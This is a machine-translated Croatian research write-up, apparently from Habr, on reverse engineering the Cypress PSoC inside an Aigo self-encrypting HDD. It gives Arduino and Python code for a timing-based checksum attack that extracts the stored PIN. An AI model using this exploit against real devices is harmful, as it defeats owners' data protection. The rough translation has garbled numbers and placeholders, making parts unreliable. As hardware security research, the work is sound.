Preokret i hakiranje Aigo samokriptirajućeg vanjskog HDD pogona. Dio 2: Izbacivanje iz Cypress PSoC-a

Ovo je drugi i posljednji dio članka o hakiranju vanjskih diskova koji se sami šifriraju. Podsjetit ću vas da mi je kolega nedavno donio tvrdi disk Patriot (Aigo) SK8671, odlučio sam ga preokrenuti i sada dijelim što je iz toga ispalo. Prije nego što čitate dalje, svakako pročitajte prvi dio članak.

4. Počinjemo skidati podatke s internog PSoC flash pogona
5. ISSP protokol
– 5.1. Što je ISSP
– 5.2. Demistificiranje vektora
– 5.3. Komunikacija s PSoC-om
– 5.4. Identifikacija registara na čipu
– 5.5. Sigurnosni bitovi
6. Prvi (neuspjeli) napad: ROMX
7. Drugi napad: Hladno praćenje
– 7.1. Provedba
– 7.2. Očitavanje rezultata
– 7.3. Flash binarna rekonstrukcija
– 7.4. Pronalaženje adrese za pohranu PIN koda
– 7.5. Odvoz deponije bloka br.126
– 7.6. Oporavak PIN koda
8. Što je sljedeće?
9. zaključak

Preokret i hakiranje Aigo samokriptirajućeg vanjskog HDD pogona. Dio 2: Izbacivanje iz Cypress PSoC-a


4. Počinjemo skidati podatke s internog PSoC flash pogona

Dakle, sve ukazuje (kao što smo utvrdili u [prvom dijelu]()) da je PIN kod pohranjen u flash dubinama PSoC-a. Stoga moramo očitati ove dubine bljeska. Front potrebnih radova:

  • preuzeti kontrolu nad "komunikacijom" s mikrokontrolerom;
  • pronaći način da provjerite je li ta "komunikacija" zaštićena od čitanja izvana;
  • pronađite način da zaobiđete zaštitu.

Dva su mjesta na kojima ima smisla tražiti važeći PIN kod:

  • unutarnja flash memorija;
  • SRAM, gdje se može pohraniti pin kod kako bi se usporedio s pin kodom koji je unio korisnik.

Gledajući unaprijed, primijetit ću da sam ipak uspio napraviti deponiju internog PSoC flash pogona - zaobilazeći njegov sigurnosni sustav korištenjem hardverskog napada pod nazivom "praćenje hladnog pokretanja" - nakon što sam poništio nedokumentirane mogućnosti ISSP protokola. To mi je omogućilo da izravno ispišem stvarni PIN kod.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Konačni programski kod:

5. ISSP protokol

5.1. Što je ISSP

"Komunikacija" s mikrokontrolerom može značiti različite stvari: od "dobavljača do dobavljača" do interakcije korištenjem serijskog protokola (na primjer, ICSP za Microchipov PIC).

Cypress ima svoj vlastiti vlasnički protokol za to, nazvan ISSP (in-system serial programming protocol), koji je djelomično opisan u tehničke karakteristike. Patent US7185162 također daje neke informacije. Postoji i OpenSource ekvivalent koji se zove HSSP (koristit ćemo ga malo kasnije). ISSP radi na sljedeći način:

  • ponovno pokretanje PSoC;
  • izlaz magičnog broja na pin serijskih podataka ovog PSoC-a; za ulazak u mod eksternog programiranja;
  • slanje naredbi, koje su dugi nizovi bitova koji se nazivaju "vektori".

ISSP dokumentacija definira ove vektore za samo mali broj naredbi:

  • Inicijaliziraj-1
  • Inicijaliziraj-2
  • Inicijaliziraj-3 (opcije 3V i 5V)
  • ID-SETUP
  • PROČITAJ-ID-RIJEČ
  • SET-BLOK-BROJ: 10011111010dddddddd111, gdje je dddddddd=blok #
  • GRUPO BRISANJE
  • PROGRAM-BLOK
  • POTVRDA-POSTAVLJANJE
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, gdje je DDDDDDDD = izlaz podataka, aaaaaa = adresa (6 bitova)
  • WRITE-BYTE: 10010aaaaaaddddddd111, gdje je dddddddd = ulaz podataka, aaaaaa = adresa (6 bita)
  • SIGURNO
  • POSTAVKA KONTROLNE ZBORE
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, gdje je DDDDDDDDDDDDDDDD = izlaz podataka: kontrolni zbroj uređaja
  • IZBRIŠI BLOK

Na primjer, vektor za Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Svi vektori imaju istu duljinu: 22 bita. HSSP dokumentacija ima neke dodatne informacije o ISSP-u: "ISSP vektor nije ništa više od niza bitova koji predstavlja skup instrukcija."

5.2. Demistificiranje vektora

Idemo shvatiti što se ovdje događa. U početku sam pretpostavio da su ti isti vektori neobrađene verzije M8C instrukcija, ali nakon provjere ove hipoteze, otkrio sam da se op kodovi operacija ne podudaraju.

Zatim sam guglao gornji vektor i naišao ovaj studiju u kojoj autor, iako ne ulazi u detalje, daje nekoliko korisnih savjeta: „Svaka instrukcija počinje s tri bita koji odgovaraju jednoj od četiri mnemotehnike (čitanje iz RAM-a, pisanje u RAM, čitanje registra, pisanje registra). Zatim slijedi 8 adresnih bitova, zatim 8 podatkovnih bitova (čitanje ili pisanje) i na kraju tri zaustavna bita.”

Zatim sam uspio prikupiti neke vrlo korisne informacije iz odjeljka Nadzorni ROM (SROM). tehnički priručnik. SROM je tvrdo kodirani ROM u PSoC-u koji pruža uslužne funkcije (na sličan način kao Syscall) za programski kod koji se izvodi u korisničkom prostoru:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: Brisanje bloka
  • 06h: TableRead
  • 07h: Kontrolni zbroj
  • 08h: Kalibriraj0
  • 09h: Kalibriraj1

Uspoređujući imena vektora sa SROM funkcijama, možemo preslikati različite operacije koje podržava ovaj protokol na očekivane SROM parametre. Zahvaljujući tome, možemo dekodirati prva tri bita ISSP vektora:

  • 100 => “wrem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Međutim, potpuno razumijevanje procesa na čipu može se postići samo izravnom komunikacijom s PSoC-om.

5.3. Komunikacija s PSoC-om

Budući da je Dirk Petrautsky već portiran Cypressov HSSP kod na Arduinu, koristio sam Arduino Uno za spajanje na ISSP konektor tipkovnice.

Imajte na umu da sam tijekom svog istraživanja prilično promijenio Dirkov kod. Moju modifikaciju možete pronaći na GitHubu: здесь i odgovarajuću Python skriptu za komunikaciju s Arduinom, u mom repozitoriju čempres_psoc_alati.

Dakle, koristeći Arduino, prvo sam koristio samo "službene" vektore za "komunikaciju". Pokušao sam pročitati interni ROM pomoću naredbe VERIFY. Očekivano, nisam to mogao učiniti. Vjerojatno zbog činjenice da su bitovi zaštite od čitanja aktivirani unutar flash pogona.

Zatim sam stvorio nekoliko vlastitih jednostavnih vektora za pisanje i čitanje memorije/registra. Imajte na umu da možemo pročitati cijeli SROM iako je flash disk zaštićen!

5.4. Identifikacija registara na čipu

Nakon što sam pogledao "rastavljene" vektore, otkrio sam da uređaj koristi nedokumentirane registre (0xF8-0xFA) za određivanje M8C opkodova, koji se izvršavaju izravno, zaobilazeći zaštitu. To mi je omogućilo pokretanje raznih operativnih kodova kao što su "ADD", "MOV A, X", "PUSH" ili "JMP". Zahvaljujući njima (gledajući nuspojave koje imaju na registre) uspio sam utvrditi koji su od nedokumentiranih registara zapravo regularni registri (A, X, SP i PC).

Kao rezultat toga, "rastavljeni" kod koji je generirao alat HSSP_disas.rb izgleda ovako (dodao sam komentare radi jasnoće):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Sigurnosni bitovi

U ovoj fazi već mogu komunicirati s PSoC-om, ali još uvijek nemam pouzdane informacije o sigurnosnim bitovima flash pogona. Jako sam se iznenadio činjenicom da Cypress korisniku uređaja ne pruža nikakvu mogućnost provjere je li zaštita aktivirana. Kopao sam dublje u Google kako bih konačno shvatio da je HSSP kod koji je dao Cypress ažuriran nakon što je Dirk objavio svoju izmjenu. I tako! Pojavio se ovaj novi vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Koristeći ovaj vektor (pogledajte read_security_data u psoc.py), dobivamo sve sigurnosne bitove u SRAM-u na 0x80, gdje postoje dva bita po zaštićenom bloku.

Rezultat je depresivan: sve je zaštićeno u načinu rada "onemogući vanjsko čitanje i pisanje". Stoga, ne samo da ne možemo ništa pročitati s flash pogona, već ne možemo ništa ni napisati (na primjer, tamo instalirati ROM dumper). A jedini način da onemogućite zaštitu je da potpuno izbrišete cijeli čip. 🙁

6. Prvi (neuspjeli) napad: ROMX

Međutim, možemo isprobati sljedeći trik: budući da imamo mogućnost izvršavanja proizvoljnih operacijskih kodova, zašto ne bismo izvršili ROMX, koji se koristi za čitanje flash memorije? Ovaj pristup ima dobre šanse za uspjeh. Budući da funkcija ReadBlock koja čita podatke iz SROM-a (kojeg koriste vektori) provjerava je li pozvana od ISSP-a. Međutim, ROMX opcode vjerojatno ne mora imati takvu provjeru. Evo Python koda (nakon dodavanja nekoliko pomoćnih klasa u Arduino kod):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Nažalost, ovaj kod ne radi. 🙁 Ili bolje rečeno radi, ali na izlazu dobivamo vlastite opkodove (0x28 0x30 0x40)! Ne mislim da je odgovarajuća funkcionalnost uređaja element zaštite od čitanja. Ovo je više poput inženjerskog trika: prilikom izvršavanja vanjskih operativnih kodova, ROM sabirnica se preusmjerava na privremeni međuspremnik.

7. Drugi napad: Hladno praćenje

Budući da ROMX trik nije uspio, počeo sam razmišljati o drugoj varijanti ovog trika - opisano u publikaciji "Bacanje previše svjetla na zaštitu firmvera mikrokontrolera".

7.1. Provedba

ISSP dokumentacija pruža sljedeći vektor za CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ovo u biti poziva SROM funkciju 0x07, kao što je predstavljeno u dokumentaciji (kurziv moj):

Ova funkcija provjere kontrolnog zbroja. Izračunava 16-bitni kontrolni zbroj broja blokova koje je odredio korisnik u jednoj flash banci, počevši od nule. Parametar BLOCKID koristi se za prosljeđivanje broja blokova koji će se koristiti pri izračunavanju kontrolne sume. Vrijednost "1" samo će izračunati kontrolni zbroj za nulti blok; dok "0" će uzrokovati izračun ukupnog kontrolnog zbroja svih 256 blokova flash banke. 16-bitni kontrolni zbroj vraća se preko KEY1 i KEY2. Parametar KEY1 pohranjuje 8 bitova nižeg reda kontrolne sume, a parametar KEY2 pohranjuje 8 bitova višeg reda. Za uređaje s nekoliko flash banaka, funkcija kontrolne sume poziva se za svaku posebno. Broj banke s kojom će raditi se postavlja registrom FLS_PR1 (postavljanjem bita u njemu koji odgovara ciljnoj flash banci).

Imajte na umu da je ovo jednostavan kontrolni zbroj: bajtovi se jednostavno dodaju jedan za drugim; nema otmjenih CRC hirova. Osim toga, znajući da jezgra M8C ima vrlo mali skup registara, pretpostavio sam da će pri izračunavanju kontrolne sume međuvrijednosti biti zabilježene u istim varijablama koje će u konačnici ići na izlaz: KEY1 (0xF8) / KEY2 ( 0xF9).

Dakle, u teoriji moj napad izgleda ovako:

  1. Povezujemo se putem ISSP-a.
  2. Izračun kontrolne sume započinjemo pomoću vektora CHECKSUM-SETUP.
  3. Ponovno pokrećemo procesor nakon određenog vremena T.
  4. Čitamo RAM kako bismo dobili trenutni kontrolni zbroj C.
  5. Ponovite korake 3 i 4, svaki put malo povećavajući T.
  6. Podatke s flash pogona vraćamo oduzimanjem prethodnog kontrolnog zbroja C od trenutnog.

Međutim, postoji problem: vektor Initialize-1 koji moramo poslati nakon ponovnog pokretanja prepisuje KEY1 i KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ovaj kod prepisuje naš dragocjeni kontrolni zbroj pozivanjem Calibrate1 (SROM funkcija 9)... Možda možemo samo poslati magični broj (s početka gornjeg koda) da uđemo u način programiranja, a zatim pročitati SRAM? I da, radi! Arduino kod koji implementira ovaj napad je prilično jednostavan:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Pročitajte checkum_delay.
  2. Pokrenite izračun kontrolne sume (send_checksum_v).
  3. Pričekajte određeni vremenski period; uzimajući u obzir sljedeće zamke:
    • Izgubio sam puno vremena dok nisam saznao što ispada kašnjenjeMikrosekunde radi ispravno samo s kašnjenjima koja ne prelaze 16383 μs;
    • i onda opet ubio isto toliko vremena dok nisam otkrio da delayMicroseconds, ako mu se proslijedi 0 kao ulaz, radi potpuno neispravno!
  4. Ponovno pokrenite PSoC u način rada za programiranje (samo šaljemo magični broj, bez slanja vektora inicijalizacije).

Konačni kod u Pythonu:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Ukratko, što ovaj kod radi:

  1. Ponovno pokreće PSoC (i šalje mu čarobni broj).
  2. Šalje pune vektore inicijalizacije.
  3. Poziva Arduino funkciju Cmnd_STK_START_CSUM (0x85), gdje se kašnjenje u mikrosekundama prosljeđuje kao parametar.
  4. Čita kontrolni zbroj (0xF8 i 0xF9) i nedokumentirani registar 0xF1.

Ovaj kod se izvršava 10 puta u 1 mikrosekundi. 0xF1 je ovdje uključen jer je to bio jedini registar koji se mijenjao prilikom izračuna kontrolne sume. Možda je to neka vrsta privremene varijable koju koristi aritmetičko-logička jedinica. Imajte na umu ružni hack koji koristim za resetiranje Arduina pomoću picocoma kada Arduino prestane pokazivati ​​znakove života (nemam pojma zašto).

7.2. Očitavanje rezultata

Rezultat Python skripte izgleda ovako (pojednostavljeno radi čitljivosti):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Uz to, imamo problem: budući da radimo sa stvarnim kontrolnim zbrojem, nulti bajt ne mijenja očitanu vrijednost. Međutim, budući da cijeli postupak izračuna (8192 bajta) traje 0,1478 sekundi (s malim varijacijama pri svakom pokretanju), što je približno 18,04 μs po bajtu, možemo iskoristiti ovo vrijeme za provjeru vrijednosti kontrolne sume u odgovarajuće vrijeme. Za prve vožnje sve se očitava prilično lako, budući da je trajanje postupka izračuna uvijek gotovo isto. Međutim, kraj ovog ispisa manje je točan jer se "manja odstupanja vremena" pri svakom izvođenju zbrajaju i postaju značajna:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

To je 10 ispisa za svaku mikrosekundu kašnjenja. Ukupno vrijeme rada za ispisivanje svih 8192 bajta flash pogona je oko 48 sati.

7.3. Flash binarna rekonstrukcija

Još nisam dovršio pisanje koda koji će u potpunosti rekonstruirati programski kod flash pogona, uzimajući u obzir sva vremenska odstupanja. Međutim, već sam vratio početak ovog koda. Kako bih bio siguran da sam to ispravno napravio, rastavio sam ga koristeći m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Izgleda prilično uvjerljivo!

7.4. Pronalaženje adrese za pohranu PIN koda

Sada kada možemo očitati kontrolni zbroj u vrijeme koje nam je potrebno, možemo lako provjeriti kako se i gdje mijenja kada:

  • unesite pogrešan PIN kod;
  • promijeniti pin kod.

Prvo, kako bih pronašao približnu adresu pohrane, napravio sam ispis kontrolne sume u koracima od 10 ms nakon ponovnog pokretanja. Zatim sam unio krivi PIN i učinio isto.

Rezultat nije bio baš ugodan, jer je bilo dosta promjena. Ali na kraju sam uspio utvrditi da se kontrolni zbroj promijenio negdje između 120000 140000 µs i 0 XNUMX µs kašnjenja. Ali "pincode" koji sam tamo prikazao bio je potpuno netočan - zbog artefakta procedure delayMicroseconds, koja radi čudne stvari kada joj se proslijedi XNUMX.

Zatim, nakon što sam proveo gotovo 3 sata, sjetio sam se da SROM sistemski poziv CheckSum prima argument kao ulaz koji specificira broj blokova za kontrolni zbroj! Da. možemo jednostavno lokalizirati adresu pohrane PIN koda i brojača "netočnih pokušaja", s točnošću do bloka od 64 bajta.

Moja početna izvođenja dala su sljedeće rezultate:

Preokret i hakiranje Aigo samokriptirajućeg vanjskog HDD pogona. Dio 2: Izbacivanje iz Cypress PSoC-a

Zatim sam promijenio PIN kod iz "123456" u "1234567" i dobio:

Preokret i hakiranje Aigo samokriptirajućeg vanjskog HDD pogona. Dio 2: Izbacivanje iz Cypress PSoC-a

Dakle, PIN kod i brojač netočnih pokušaja kao da su pohranjeni u bloku broj 126.

7.5. Odvoz deponije bloka br.126

Blok #126 trebao bi se nalaziti negdje oko 125x64x18 = 144000μs, od početka izračuna kontrolnog zbroja, u mom punom dumpu, i izgleda prilično uvjerljivo. Zatim, nakon ručnog izdvajanja brojnih nevažećih ispisa (zbog nakupljanja "manjih vremenskih odstupanja"), na kraju sam dobio ove bajtove (uz latenciju od 145527 μs):

Preokret i hakiranje Aigo samokriptirajućeg vanjskog HDD pogona. Dio 2: Izbacivanje iz Cypress PSoC-a

Sasvim je očito da je PIN kod pohranjen u nešifriranom obliku! Ove vrijednosti, naravno, nisu zapisane u ASCII kodovima, ali kako se ispostavilo, odražavaju očitanja uzeta s kapacitivne tipkovnice.

Na kraju sam proveo još nekoliko testova da pronađem gdje je pohranjen brojač loših pokušaja. Evo rezultata:

Preokret i hakiranje Aigo samokriptirajućeg vanjskog HDD pogona. Dio 2: Izbacivanje iz Cypress PSoC-a

0xFF - znači "15 pokušaja" i smanjuje se sa svakim neuspjelim pokušajem.

7.6. Oporavak PIN koda

Evo mog ružnog koda koji spaja gore navedeno:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Evo rezultata njegove provedbe:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

hura! Djela!

Imajte na umu da su vrijednosti latencije koje sam upotrijebio vjerojatno relevantne za jedan određeni PSoC - onaj koji sam upotrijebio.

8. Što je sljedeće?

Dakle, rezimirajmo na strani PSoC-a, u kontekstu našeg Aigo pogona:

  • možemo čitati SRAM čak i ako je zaštićen za čitanje;
  • Zaštitu od prijelaza možemo zaobići napadom praćenja hladnog pokretanja i izravnim čitanjem PIN koda.

Međutim, naš napad ima neke nedostatke zbog problema sa sinkronizacijom. Moglo bi se poboljšati na sljedeći način:

  • napisati uslužni program za ispravno dekodiranje izlaznih podataka koji se dobiju kao rezultat napada "hladnog pokretanja";
  • koristite FPGA gadget za stvaranje preciznijih vremenskih odgoda (ili koristite Arduino hardverske mjerače vremena);
  • pokušajte s drugim napadom: unesite namjerno netočan PIN kod, ponovno pokrenite sustav i izbacite RAM, nadajući se da će točan PIN biti spremljen u RAM za usporedbu. Međutim, na Arduinu to nije tako lako izvesti, budući da je razina Arduino signala 5 volti, dok ploča koju ispitujemo radi sa signalima od 3,3 volta.

Jedna zanimljiva stvar koja se može pokušati je igrati se s razinom napona kako bi se zaobišla zaštita čitanja. Kad bi ovaj pristup funkcionirao, mogli bismo dobiti apsolutno točne podatke s flash pogona - umjesto da se oslanjamo na čitanje kontrolne sume s nepreciznim vremenskim odgodama.

Budući da SROM vjerojatno čita zaštitne bitove putem ReadBlock sistemskog poziva, mogli bismo učiniti istu stvar kao opisano na blogu Dmitrija Nedospasova - ponovna implementacija napada Chrisa Gerlinskog, najavljenog na konferenciji "REcon Bruxelles 2017".

Još jedna zabavna stvar koja bi se mogla učiniti je izbrusiti kućište s čipa: uzeti SRAM dump, identificirati nedokumentirane sistemske pozive i ranjivosti.

9. zaključak

Dakle, zaštita ovog pogona ostavlja mnogo za poželjeti, jer koristi obični (ne “očvrsnuti”) mikrokontroler za pohranu PIN koda... Plus, nisam (još) pogledao kako stvari stoje s podacima šifriranje na ovom uređaju!

Što možete preporučiti za Aigo? Nakon analize nekoliko modela kriptiranih HDD diskova, 2015. sam napravio prezentacija na SyScanu, u kojem je ispitao sigurnosne probleme nekoliko vanjskih HDD diskova i dao preporuke o tome što bi se na njima moglo poboljšati. 🙂

Proveo sam dva vikenda i nekoliko večeri radeći ovo istraživanje. Ukupno oko 40 sati. Brojim od samog početka (kada sam otvorio disk) do kraja (PIN code dump). Istih 40 sati uključuje vrijeme koje sam proveo pišući ovaj članak. Bilo je to vrlo uzbudljivo putovanje.

Izvor: www.habr.com

Dodajte komentar